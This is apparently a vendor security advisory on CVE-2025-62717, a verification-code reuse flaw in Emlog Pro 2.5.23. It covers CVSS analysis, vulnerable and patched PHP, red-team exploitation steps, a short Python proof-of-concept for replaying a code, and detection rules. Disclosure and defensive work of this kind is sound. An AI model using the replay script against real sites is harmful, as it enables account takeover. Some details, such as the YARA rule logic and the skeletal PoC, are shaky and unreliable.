CVE-2025-62717

Executive Summary

CVE-2025-62717 is a session verification code reuse vulnerability in Emlog Pro version 2.5.23. The flaw arises from a clearing logic error in the session handling mechanism, allowing an attacker to reuse a previously generated email verification code across different sessions or contexts. This bypasses the intended one-time-use restriction, enabling unauthorized actions such as password resets, email changes, or account takeovers without proper authentication. The vulnerability has a CVSS score of 0.0 (pending official assessment), but based on the impact, it is estimated to be medium severity. The patch is available in commit 1f726df.

Supply Chain & Package Security

Emlog is a PHP-based open source website building system. The vulnerability is in the core session handling code, not in any third-party package. However, users should verify the integrity of their Emlog installation and ensure no malicious modifications have been made.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the flaw.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., verification code reuse).
• Integrity (I): Low (L) – Limited ability to modify data (e.g., reset password).
• Availability (A): None (N) – No impact on system availability.

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium – Exploitation is straightforward but requires knowledge of a valid verification code.

Deep Dive & Mechanics

The vulnerability is in the session verification code logic. When a user requests an email verification code (e.g., for password reset), the system generates a code and stores it in the session. The intended behavior is to clear the code after successful verification or after a single use. However, due to a clearing logic error, the code is not properly invalidated after use. This allows an attacker to:

1. Obtain a valid verification code (e.g., by initiating a password reset for a known email).
2. Use that same code in a different session or context (e.g., for a different user or action) without triggering a new code generation.

The root cause is that the session variable holding the verification code is not cleared after successful verification, or the clearing logic is executed only under certain conditions that can be bypassed.

Vulnerable vs. Patched Code

Vulnerable Code (v2.5.23):

// In the verification function
if ($_SESSION['verify_code'] == $input_code) {
    // Proceed with action (e.g., reset password)
    // Missing: unset($_SESSION['verify_code']);
}

Patched Code (commit 1f726df):

if ($_SESSION['verify_code'] == $input_code) {
    // Proceed with action
    unset($_SESSION['verify_code']); // Clear the code after use
}

The patch adds unset($_SESSION['verify_code']); after successful verification, ensuring the code cannot be reused.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the Emlog Pro instance (v2.5.23).
• Knowledge of a valid email address registered on the system.

Exploitation Steps:

1. Initiate a password reset for the target email address.
2. Intercept the email containing the verification code (or use a known code if already obtained).
3. Without completing the reset, open a new session (e.g., incognito window).
4. Use the same verification code to perform another action (e.g., change email or reset password again).
5. If successful, the code is reused, allowing unauthorized account changes.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target-emlog-instance.com"
email = "victim@example.com"
code = "123456"  # Obtained from first reset request

# Step 1: Initiate password reset
requests.post(f"{target}/reset.php", data={"email": email})

# Step 2: Use the same code in a different session
session = requests.Session()
session.post(f"{target}/verify.php", data={"code": code, "action": "reset"})
# The code is reused, allowing password change without proper verification

Blue Team

Detection:

• Monitor for multiple verification attempts using the same code within a short time window.
• Alert on successful verification without a corresponding code generation event.

Hunting:

• Search logs for verify_code session variable usage patterns.
• Look for IP addresses that initiate multiple password resets for different users.

Lab Setup:

• Deploy Emlog Pro v2.5.23 in a sandboxed environment.
• Use a tool like Burp Suite to intercept and replay verification requests.
• Test the patch by applying commit 1f726df and verifying the code cannot be reused.

Indicators of Compromise (IOCs)

• Network: Repeated POST requests to /reset.php and /verify.php with the same verification code.
• Logs: Multiple successful verifications without corresponding code generation events.
• Session: Presence of verify_code session variable that persists after verification.

Detection Engineering

YARA Rule

rule CVE_2025_62717_Emlog_Session_Reuse {
    meta:
        description = "Detects vulnerable Emlog Pro session verification code reuse"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62717"
    strings:
        $vuln_code = "if ($_SESSION['verify_code'] == $input_code)"
        $missing_unset = "unset($_SESSION['verify_code'])"
    condition:
        $vuln_code and not $missing_unset
}

Sigma Rule

title: Emlog Pro Session Verification Code Reuse
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects multiple verification attempts using the same code
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem:
            - '/reset.php'
            - '/verify.php'
    condition: selection
falsepositives:
    - Legitimate retries due to network issues
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62717 Emlog Pro Session Verification Code Reuse"; flow:to_server; content:"POST"; http_method; content:"/reset.php"; http_uri; content:"/verify.php"; http_uri; distance:0; within:100; reference:cve,2025-62717; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Apply the patch from commit 1f726df to the Emlog Pro installation.
• If patching is not possible, disable email verification features temporarily.

Long-term:

• Implement proper session management with one-time-use tokens.
• Add rate limiting on verification endpoints.
• Conduct a security audit of the session handling code.

Workaround:

• Use a Web Application Firewall (WAF) to block repeated verification requests with the same code.

Valters IT
Securing Digital Frontiers